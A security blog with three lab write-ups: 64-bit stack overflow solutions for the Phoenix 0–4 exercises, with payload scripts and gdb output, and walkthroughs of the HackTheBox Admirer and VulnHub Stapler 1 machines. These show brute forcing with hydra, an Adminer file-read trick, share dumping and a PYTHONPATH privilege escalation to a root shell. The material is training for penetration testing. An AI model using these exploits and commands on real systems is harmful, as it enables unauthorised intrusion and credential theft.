Categories
Security

Buffer Overflow Prelude: exploit.education Phoenix 0-4 – Intel 64-Bit

I’ll outline my progress in binary exploitation on Linux. As a target I’m using the Phoenix exercises from exploit.education which can be found at http://exploit.education/phoenix/. However, I don’t use the provided virtual machines but rather copy the code to my local VM. This requires some small changes to the listed code examples, most notably uncommenting the printf() with the BANNER message. One of the reasons for writing this blog post (apart from documenting my process) is the fact that most tutorials I found either use AT&T syntax for the assembly or 32-bit code and I wanted to use Intel syntax on a 64-bit system. I also want to use Python 3 as my scripting language of choice.

Buffer Overflows

The first type of binary exploits that are covered in the exercises are stack based buffer overflows. The canonical tutorial for buffer overflows titled “Smashing the Stack for Fun and Profit” can be found in Phrack 49×14 [1]. The basic idea is to put more data into a buffer than expected and thus have this data flow into areas of memory where it is not supposed to be. Modern day Linux has various protection mechanisms that protect against buffer overflows (like canaries, address space layout randomization and non-executable stacks). To “get around” these mechanisms for exercise purposes, I’m compiling the binaries with the following settings:

gcc -fno-stack-protector -no-pie -z execstack -o phoenix_stack0 phoenix_stack0.c

Disassembly

The disassembly of the main() function of Phoenix 0 (disass main) in gdb shows how the stack is created. Note that I prefer Intel syntax which can be enabled within gdb with set disassembly-flavor intel. We set three breakpoints one at the beginning of main() (b *main) and one before (b *0x0000000000401163) and one after (b *0x0000000000401168) the call to gets().

0x0000000000401146 <+0>:   push  rbp
0x0000000000401147 <+1>:   mov   rbp,rsp
0x000000000040114a <+4>:   sub   rsp,0x60
0x000000000040114e <+8>:   mov   DWORD PTR [rbp-0x54],edi
0x0000000000401151 <+11>:  mov   QWORD PTR [rbp-0x60],rsi
0x0000000000401155 <+15>:  mov   DWORD PTR [rbp-0x10],0x0
0x000000000040115c <+22>:  lea   rax,[rbp-0x50]
0x0000000000401160 <+26>:  mov   rdi,rax
0x0000000000401163 <+29>:  call  0x401040 <gets@plt>
0x0000000000401168 <+34>:  mov   eax,DWORD PTR [rbp-0x10]
0x000000000040116b <+37>:  test  eax,eax
0x000000000040116d <+39>:  je    0x401180 <main+58>
0x000000000040116f <+41>:  lea   rax,[rip+0xe92] # 0x402008
0x0000000000401176 <+48>:  mov   rdi,rax
0x0000000000401179 <+51>:  call  0x401030 <puts@plt>
0x000000000040117e <+56>:  jmp   0x40118f <main+73>
0x0000000000401180 <+58>:  lea   rax,[rip+0xeb9] # 0x402040
0x0000000000401187 <+65>:  mov   rdi,rax
0x000000000040118a <+68>:  call  0x401030 <puts@plt>
0x000000000040118f <+73>:  mov   edi,0x0
0x0000000000401194 <+78>:  call  0x401050 <exit@plt>

In the code, the base pointer (rbp) which represents the bottom of the previous stack is pushed onto the stack so that it can be restored later (<+0>). The push instruction also decreases rsp to point to the new top of the stack. Next, the stack pointer (rsp) is moved into rbp which creates a new base for our new stack which is used for main() (<+1>). Next, 0x60 (96 decimal or 24 words if a word is 4 byte) is subtracted from rsp and thus that’s the space that is reserved for the stack (<+4>).

According to the 64bit ABI [2], the first six arguments of functions are stored in registers. rdi (and thus edi) contains the first argument to a function and rsi contains the second argument (the 3rd, 4th, 5th and 6th arguments are stored in rdx, rcx, r8 and r9). Since this is the main() function, those are argc (edi) and **argv (rsi) respectively. Next, the arguments are moved from registers to memory. edi/argc is moved to the memory at [rbp-0x54] (<+8)> and rsi / **argv is moved to the memory at [rbp-0x60] (<+11>). After that, locals.changeme (at rbp-0x10) is set to 0 (<+15>). Finally, locals.buffer (at rbp-0x50) is loaded to eax (<+22>) and eax is moved into rdi to make this the first argument for the next function call (<+26>) which is gets() (<+29>).

Stack

On x86, the stack “grows” from high numbers to low numbers. Thus, the bottom of the stack (rbp points to the bottom) has a higher number in address space than the top (rsp points to the top). You can check the allocated memory for the stack in gdb by running info proc mappings and find more information about the stack frame by issuing info frame n where n is the number of the frame (all frames can be listed by running bt). In gdb, running x/30wx $rsp will display the next 30 words of memory starting at $rsp and display everything in hex. Note that gdb displays the high memory addresses at the bottom (so you can visualize the stack growing up) and each group of 8 hex digits represents one word (4 bytes) because two hex digits represent one byte.

At this point in time, the stack looks like this:

  • rbp is at 0x7fffffffde80
  • locals.changeme (rbp-0x10) is at 0x7fffffffde70 (0x00000000)
  • The space for locals.buffer (rbp-0x50) starts at 0x7fffffffde30
  • argc (rbp-0x10) is at 0x7fffffffde2c (0x00000001)
  • **argv (rbp-0x60) is at 0x7fffffffde20
  • rsp is at 0x7fffffffde20
(gdb) x/30wx $rsp
0x7fffffffde20:0xffffdf78 0x00007fff 0x00000000	0x00000001
0x7fffffffde30:0x00000000 0x00000000 0x00000000	0x00000000
0x7fffffffde40:0x00000000 0x00000000 0x004011e5	0x00000000
0x7fffffffde50:0x00000000 0x00000000 0x004011a0 0x00000000
0x7fffffffde60:0x00000000 0x00000000 0x00401060	0x00000000
0x7fffffffde70:0x00000000 0x00007fff 0x00000000 0x00000000
0x7fffffffde80:0x00000000 0x00000000 0xf7dfd7fd	0x00007fff

In order to overflow locals.buffer (which starts at 0x7fffffffde30 or rbp-0x50) and write to locals.changeme (located at 0x7fffffffde70 or rbp-0x10), we have to send > 16 words to gets() because (0x50-0x10)/4 = 16. So if we input the following string (note that each character is one byte so a block like AAAA is four bytes or one word): “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ”, this should overwrite locals.changeme.

0x7fffffffde20:0xffffdf78 0x00007fff 0x00000000	0x00000001
0x7fffffffde30:0x41414141 0x42424242 0x43434343	0x44444444
0x7fffffffde40:0x45454545 0x46464646 0x47474747	0x48484848
0x7fffffffde50:0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
0x7fffffffde60:0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
0x7fffffffde70:0x51515151 0x00007f00 0x00000000	0x00000000
0x7fffffffde80:0x00000000 0x00000000 0xf7dfd7fd	0x00007fff
0x7fffffffde90:0xffffdf78 0x00007fff

And indeed this does the trick.

(gdb) c
Continuing.
Well done, the 'changeme' variable has been changed!

Command line exploit

With this information, it is possible to exploit the program without gdb by passing this string on the command line.

└─$ python -c "print('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ')" | ./phoenix_stack0
Well done, the 'changeme' variable has been changed!

Phoenix 1

Phoenix 1 is similar to Phoenix 0, except we are supposed to change locals.changeme to the specific byte sequence 0x496c5962. Since everything else is the same, we already know that our padding before we reach locals.changeme is 16 words or 64 bytes. The following python script will produce the string that we need:

#!/usr/bin/python

import struct

pad = "\x41" * 64
payload = struct.pack("I", 0x496c5962)
print(pad+payload.decode())

We save the script as shell_maker.py and make it executable with chmod +x and voila:

└─$ ./phoenix_stack1 `./shell_maker.py`                            
Well done, you have successfully set changeme to the correct value

Phoenix 2

Phoenix 2 is similar to Phoenix 0 and 1, except that we are supposed to overflow the buffer from an environment variable and change locals.changeme to 0x0d0a090a. So we simply change the payload in our script to 0x0d0a090a, set the environment variable and run the code.

└─$ export ExploitEducation=`./shell_maker.py`
└─$ ./phoenix_stack2                          
Well done, you have successfully set changeme to the correct value

Phoenix 3

For Phoenix 3, we are asked to override a function pointer (a slight change in the printf of complete_level is required to get the program to run). To find the correct address, we can use gdb and simply disass complete_level:

Dump of assembler code for function complete_level:
   0x0000000000401166 <+0>:	push   rbp
   0x0000000000401167 <+1>:	mov    rbp,rsp
   0x000000000040116a <+4>:	lea    rax,[rip+0xe97]        # 0x402008
   0x0000000000401171 <+11>:	mov    rdi,rax
   0x0000000000401174 <+14>:	call   0x401030 <puts@plt>
   0x0000000000401179 <+19>:	mov    edi,0x0
   0x000000000040117e <+24>:	call   0x401070 <exit@plt>
End of assembler dump.

Now that we know that our address is 0x401166, we can simply change the payload in shell_maker.py to this value and run the following:

└─$ ./shell_maker.py | ./phoenix_stack3   
calling function pointer @ 0x401166
Congratulations, you've finished :-) Well done!

Phoenix 4

Phoenix 4 requires us to overwrite the saved instruction pointer. After setting breakpoints on main() and before and after the call to gets(), we can supply a long string and see what happens. We supply “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ” and check the backtrace with bt.

(gdb) bt
#0  0x00000000004011ac in start_level ()
#1  0x5858585857575757 in ?? ()
#2  0x5a5a5a5a59595959 in ?? ()
#3  0x0000000100000000 in ?? ()
#4  0x0000000000000000 in ?? ()

As we can see, frame one gets overwritten by 0x57s. Python tells us, that this is the ASCII character ‘W’ and we can calculate the length of our padding to be 88 bytes.

>>> chr(0x57)
'W'
>>> len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV')
88

Back in gdb, we find the address of complete_level(), which is 0x401156.

(gdb) disass complete_level 
Dump of assembler code for function complete_level:
   0x0000000000401156 <+0>:	push   rbp
   0x0000000000401157 <+1>:	mov    rbp,rsp
   0x000000000040115a <+4>:	lea    rax,[rip+0xea7]        # 0x402008
   0x0000000000401161 <+11>:	mov    rdi,rax
   0x0000000000401164 <+14>:	call   0x401030 <puts@plt>
   0x0000000000401169 <+19>:	mov    edi,0x0
   0x000000000040116e <+24>:	call   0x401060 <exit@plt>
End of assembler dump.

Armed with these two pieces of information, we can change our shell_maker.py and run it.

#!/usr/bin/python

import struct

pad = "\x41" * 88
payload = struct.pack("I", 0x401156)
print(pad+payload.decode())
└─$ ./shell_maker.py | ./phoenix_stack4                                             
and will be returning to 0x401156
Congratulations, you've finished :-) Well done!

[1] http://phrack.org/issues/49/14.html

[2] https://raw.githubusercontent.com/wiki/hjl-tools/x86-psABI/x86-64-psABI-1.0.pdf

Categories
Security

HackTheBox – Admirer

After exploiting the first target, VulnHub – Stapler 1, from the curated list of OSCP-like machines I continued by working through the active easy Linux targets Admirer, Tabby, and Blunder on HackTheBox (HTB). HTB is an interesting platform that actually requires some minor hacking before you get access. The free account lets you work on active machines and the premium account also gives access to retired machines. You’re not allowed to post writeups for active machines but because Admirer is now retired, this is my writeup. I’ll add the writeups for the other boxes, once they are retired.

Image 1: Admirer on HTB.

Setup

HTB uses a VPN and makes the targets available in the cloud so there is no need to start the target in a VM. Our attacking machine is a fully updated Kali Linux 2020.3. The target is HTB Admirer, which has the IP 10.10.10.187. We set up an entry in /etc/hosts to refer to it as admirer.htb.

#/etc/hosts
10.10.10.187        admirer.htb

Information Gathering

Portscan

We start by running our default nmap scan and find three open ports (21: FTP, 22: SSH and 80: HTTP).

sudo nmap -v -p- -sV -Pn -n admirer.htb -oA admirer
Image 2: nmap scan.

Webserver

Next, we take a quick look at the website and browse the source. There’s nothing interesting except for the fact that it uses HTML5 Up, which seems to be a WordPress theme.

Image 3: The webiste on port 80 of admirer.htb.
Image 4: Source of the website.

After that, we run nikto and see that there is a robots.txt file.

nikto -h admirer.htb
Image 5: Running nikto reveals robots.txt.
Image 6: Content of robots.txt.

The robots.txt file reveals a potential username waldo and a directory admin-dir. However, the access to that directory is forbidden.

Image 7: Access to the admin-dir is forbidden.

Next, we run wfuzz on the directory to see if we can find any interesting files. We create a file extensions.txt to check for some common extensions. Each line contains one extension and we decide to go with txt, html, js and zip first.

Image 8: extensions.txt.
wfuzz -w /usr/share/wordlists/dirb/big.txt -w extensions.txt --sc 200 http://admirer.htb/admin-dir/FUZZ.FUZ2Z
Image 9: wfuzz reveals some interesting files.

This reveals two interesting files named contacts.txt and credentials.txt.

Image 10: contacts.txt.
Image 11: credentials.txt.

Note: It took a long time to actually find credentials.txt because it was only found after using the big wordlist /usr/share/wordlists/dirb/big.txt. It’s always a good idea to try different wordlists. There’s no mail server and we cannot find a wp-admin directory so we focus on the FTP server next.

FTP

We log into the FTP server with the credentials that we found and download the available files dump.sql and html.tar.gz.

Image 12: Downloading files from the FTP server.

We cat the dump.sql file and see that MariaDB 10.1.41 is running on the target.

Image 13: Finding the database version.

After extracting the data from html.tar.gz we find index.php and two interesting subdirectories named utility-scripts and w4ld0s_s3cr3t_d1r. The latter contains the credentials.txt and contacts.txt files we found earlier (credentials contains an additional entry for waldo’s bank account).

Image 14: Content of html.tar.gz.

The index.php file contains the username and password for the database.

Image 15: Database credentials found in index.php.

The utility-scripts directory contains some PHP files:

Image 16: Contents of utility-scripts and db_admin.php.

All files except db_admin.php can be accessed on the server on port 80. We take a leap of faith and assume that the admin found a better open source alternative as indicated by the TODO text in the db_admin.php file. Because this is probably going to be a PHP solution, we fuzz the directory for PHP files.

wfuzz -w /usr/share/wordlists/dirb/big.txt --sc 200 http://admirer.htb/utility-scripts/FUZZ.php

We find adminer.php which is a tool for managing database connections.

Image 17: Fuzzing for PHP files.

Unfortunately, we cannot login with the credentials we found in index.php. But we can see that the version of Adminer (4.6.2) is outdated.

Image 18: Adminer, access denied.

Exploitation

There’s an interesting security vulnerability for Adminer <= 4.6.2 [1] which just so happens to be the version installed on our target. Basically, we need to connect back to our locally running MariaDB (or MySQL) and then we can expose files. So first, we set up a MariaDB and reset the root password:

sudo apt-get install mariadb-server
sudo systemctl stop mariadb
sudo mysqld_safe --skip-grant-tables --skip-networking &
mysql -u root

From the mysql command prompt (replace PW as needed):

FLUSH PRIVILEGES;
ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';

Next, we kill the process and start MariaDB in normal mode:

ps aux | grep maria
sudo kill -9 PID
sudo systemctl start mariadb

And finally, we create a database (htb) and a user (htb2 with PW htb2) and grant all rights to the user:

mysql -u root -p
CREATE OR REPLACE DATABASE htb;
GRANT ALL PRIVILEGES ON *.* TO 'htb2'@'%' IDENTIFIED BY 'htb2' WITH GRANT OPTION;

Lastly, we have to allow connections on out public IP by uncommenting the bind-adress and adding our public IP and changing the port as desired in /etc/mysql/mariadb.conf.d/50-server.cnf.

Now we can connect from target to our own box via Adminer and create a table test and load the local /var/www/html/index.php file from target.

Image 19: Loading a local file from target to our attack box via SQL.

Now we can simply view the data in Adminer and find some credentials.

Image 20: Exposed credentials.

After a bit of trial and error, we use the password for ssh and get a user account.

Image 21: Successfull login as waldo.

Post Exploitation

The first thing we do is check our sudo rigths with sudo -l.

Image 22: sudo -l output.

We’re allowed to run a script and set the environment. Let’s inspect the script at /opt/scripts/admin_tasks.sh:

Image 23: Selected content of admin_tasks.sh.

The backup_web() function calls /opt/scripts/backup.py and runs it in the background.

Image 24: Rights and content of backup.py.

The script uses make_archive from shutil, so we simply have to create our own shutil.py and make sure it is loaded via the PYTHONPATH environment variable.

Image 25: Simple Python script to overwrite make_archive, IP censored.

If we run nc on the attack box and execute the script and pass the environment variable (select option 6) on the target, we get a root-shell.

sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh
Image 26: A root shell.

Mission accomplished 🙂

Lessons Learned

I learned a lot from this target. First of all, fuzzing with wfuzz is great but you have to try all directories with all interesting extensions and use the right wordlists. Setting up the local DB and exploiting Adminer was new to me as was the privilege escalation to root vie SETENV. Took quite some time until I realized that the variable has to be passe don the command line and not set via export. I also wandered down a lot of paths not mentioned in the writeup and overall the machine took a long time (3 days if I remember correctly). I was stuck for a long time because the wordlist I initially used only found the contacts.txt file.

Sources

[1] https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

Categories
Security

VulnHub – Stapler 1

After exploiting the first three targets (VulnHub – Basic Pentesting 1, VulnHub – Basic Pentesting 2, and VulnHub – Photographer), I will go through the curated list of OSCP-like machines to improve and get a better feeling for the OSCP level of machines.

Note: I’ll use the “we” form for the writeups, as that’s how I intend to write the reports. For these blurps about my progress etc. I’ll stick with the first person.

Setup

Our attacking box is a virtual machine that has the IP 192.168.56.102 and runs an updated Kali Linux 2020.3. Throughout the penetration test, we will try to avoid using any automated exploitation tools. The target is VulnHub’s Stapler 1, a vulnerable virtual machine to practice penetration testing.

Information Gathering

Portscanning

The first thing we do is find the IP of our target by running nmap against the subnet.

nmap -sn 192.168.56.102/24

We learn, that the target IP is 192.168.56.107 and run an nmap scan against that IP against all TCP ports (-p-).

nmap -sV -p- -Pn -n 192.168.56.107
Image 1: Results of the nmap scan against all TCP ports.

We also scan for the most common open UDP ports (note: this takes a bit of time so we did it while executing some of the steps below).

Image 2: nmap scan of UPD ports.

Webservers

Port 80

Running dirb on the webserver on port 80 reveals two files that we can download (nikto yields the same result).

sudo dirb http://192.168.56.107:80 -f -r
Image 3: Results of running dirb against the webserver on port 80.
curl http://192.168.56.107:80/.bashrc > bashrc.txt
curl http://192.168.56.107:80/.profile > profile.txt

Browsing 192.168.56.107:80 and looking at the source code yielded nothing interesting.

Image 4: Browsing 192.168.56.107.

Port 12380

Running nikto on the webserver running on port 12380 yields some directories (dirb didn’t return any results).

nikto -h 192.168.56.107:12380
Image 4: Running nikto against the webserver on port 12380.

Seems like there’s a misconfiguration of SSL and there’s also a user “dave” that shows up in the headers with a comment. There’s also three interesting directories: /admin112233, /blogblog and /phpmyadmin.

We opened 192.168.56.107:12380 in a browser.

Image 5: Browsing 192.168.56.107:12380.

The title of the page was “Tim, we need to-do better next year for Initech”, so we can add “Tim” as another potential user. Viewing the source code gave us something interesting.

Image 6: Viewing the source of 192.168.56.107:12380.

So we have another potential user “Zoe” (from HR) as well as an interesting string. It seems to be a base64 encoded jpeg image, but we were not able to decode it in any meaningful way.

Samba

Because we saw port 139 open, we run enum4linux to fish for account names and save them to enum.txt.

enum4linux -vr 192.168.56.107 | grep 'Local\|Domain' > enum.txt
Image 7: Enumerating account names with enum4linux.

We’ll also get a listing of the shares.

enum4linux -vS 192.168.56.107
Image 8: Listing smb shares with enum4linux.

From the comments, it seems like there are two users, “Fred”, who is on the list (fred) and kathy who doesn’t show up in our enumeration. Let’s try to connect to the kathy and tmp shares and explore them.

smbclient -W 'WORKGROUP' //'192.168.56.107'/'kathy' -U''%'' -c 'ls'
smbclient -W 'WORKGROUP' //'192.168.56.107'/'tmp' -U''%'' -c 'ls'
Image 9: Available smaba files and directories.

Lets’ quickly check the contents of the two subdirectories kathy_stuff and backup as well and then download everything.

Image 10: Subdirectory contents of the kathy share.
smbclient -W 'WORKGROUP' //'192.168.56.107'/'kathy' -U''%'' -c 'recurse ON; prompt OFF; mget *'
smbclient -W 'WORKGROUP' //'192.168.56.107'/'tmp' -U''%'' -c 'recurse ON; prompt OFF; mget *'
Image 11: Getting all files from the samba shares.

The todo-list.txt contains the following information: “I’m making sure to backup anything important for Initech, Kathy”. So we keep in mind, that Initech might be relevant. Using cat to display the ls file, we can see that there used to be another file called “systemd-private-df2bff9b90164a2eadc490c0b8f76087-systemd-timesyncd.service-vFKoxJ” in the tmp directory.

Image 12: Content of the ls file.

Searching a bit on Google reveals, that these files are created by systemd if the private temp feature is activated [1]. In this case for the timesyncd.service.

We unzipped the wordpress-4.tar.gz file but didn’t find a wp-config.php file inside (which usually contains the database password). The wp-config-sample.php didn’t leak any information.

Let’s get all activated options for vsftpd.

cat vsftpd.conf | grep -v '#'
Image 13: Content of the vsftpd.conf backup.

Lastly, let’s save all the enumerated local usernames in a file (users_enum.txt) for later use.

grep 'Unix' enum.txt | awk '{print $3}' | cut -d '\' -f2 > users_enum.txt

FTP

Anonymous login should be enabled, so let’s see what we can do by logging in as ftp and leaving the password empty.

Image 14: Anonymous FTP connection with message.

There seems to be an admin user named “Harry” and we can download the note file by issuing “get note”. The note contains the following text: “Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.” So there’s two more potential users that we can add.

SSH

ssh 192.168.56.107
Image 15: Default ssh connection.

There seems to be an admin user named “Barry” but we can’t get any further without logging in.

List of users

We found the following usernames from various sources…

  • dave – from misconfigured SSL
  • Tim – from webserver 2
  • Zoe – Head of HR – from webserver 2
  • Fred – from samba
  • kathy – from samba
  • Harry – from FTP
  • Elly – from FTP
  • John – from FTP
  • Barry – from SSH

We create a file called usernames.txt and add one user per line, lowercased to it. We also create a file usernames_cap.txt with the capitalized versions.

sed 's/^./\u&/g' usernames.txt > usernames_cap.txt

We combine all usernames into one master username list called user_list.txt.

cat usernames.txt usernames_cap.txt users_enum.txt >> user_list.txt

Just to make sure, we check that there are no duplicates.

uniq -D user_list.txt

searchsploit

Next, we run searchsploit for all open ports. There’s interesting results for OpenSSH, MySQL and dnsmasq.

searchsploit OpenSSH 7.2p2
Image 16: searchsploit results for OpenSSH.
searchsploit MySQL 5.7.12
Image 17: searchsploit results for MySQL.
searchsploit dnsmasq 2.75
Image 18: searchsploit results for dnsmasq.

Exploitation

Brute forcing

Let’s try a simple username == password brute force against both FTP and SSH with hydra.

hydra -L user_list.txt -P user_list.txt 192.168.56.107 ftp
Image 19: Brute forced FTP password for user SHayslett.
hydra -L user_list.txt -P user_list.txt 192.168.56.107 ssh
Image 20: Brute forced SSH password for user SHayslett.

Seems like the same user (SHayslett) has used his username as a password for FTP and SSH.

If we try to SSH into the machine, we get access to it (note: we also got an exchange_identification error before).

Image 21: Local priviliges as user SHayslett.

Post Exploitation

First, we check if there’s anything interesting in the /home directory.

ls -Ral /home

The user peter has a file called .zcompdump in his .cache directory which we can read. He can also sudo to become root as indicated by the .sudo_as_admin_successful file. There’s also an empty file motd.legal-displayed in SHayslett‘s .cache directory which indicates that motd is used.

Next, we run LinEnum to check for common problems by copy&pasting the script from Github [2] into linenum.sh and using chmod +x to make it executable.

./linenum.sh -r linenum
Image 22: Interesting .bash_history found by running LinEnum.

Seem like the user JKanode tried to run ssh in non-interactive mode with sshpass and he passed the passwords via the -p command line argument. We know from before that peter can sudo, so we try to ssh with that password.

Image 23: Full root access.

After an initial message about z-shell we get access and can become root. And that’s all. Mission accomplished 🙂

Misc

We can try to enumerate existing accounts in OpenSSH [3] before brute forcing. There’s a script for this /usr/share/exploitdb/exploits/linux/remote/40136.py. However, because our Kali uses Python 3.8 we have to change the two calls time.clock(), which was deprecated in 3.8 [4], to time.process_time(). For example, running this against our usernames.txt suggests, that only the user “zoe” from that file exists on the target.

python3 40136.py -U usernames.txt 192.168.56.107
Image 24: OpenSSH username enumeration against usernames.txt

We can double-check this by looking into /etc/passwd. Only “zoe” and “elly” exist as local users on the target. However, elly is explicitly forbidden to access the machine vie DenyUsers in sshd_config.

Lessons Learned

  • Keep it simple, stupid (KISS). I spend a couple of hours researching the exploits for dnsmasq and MySQL before I tried to simply use hydra to see if username == password was possible. I’m not 100% sure about the use of hydra but will keep using it for simple or targeted attacks (I’ll keep the runtime under 30 minutes).
  • Post exploitation scripts like LinEnum are pretty handy. I’m not 100% sure if they are allowed for OSCP or not. I think I’ll keep using them and manually reproduce the steps that found interesting information. In this case:
for i in $(ls /home) ; do echo "User: $i" && cat "/home/$i/.bash_history"; done
  • Actually look inside .bash_history, you never know what you might find. I didn’t do it during my manual exploration of /home and only saw it when running LinEnum.

Sources

[1] https://access.redhat.com/discussions/3027351

[2] https://github.com/rebootuser/LinEnum

[3] https://www.cvedetails.com/cve/CVE-2016-6210/

[4] https://github.com/python/cpython/pull/13270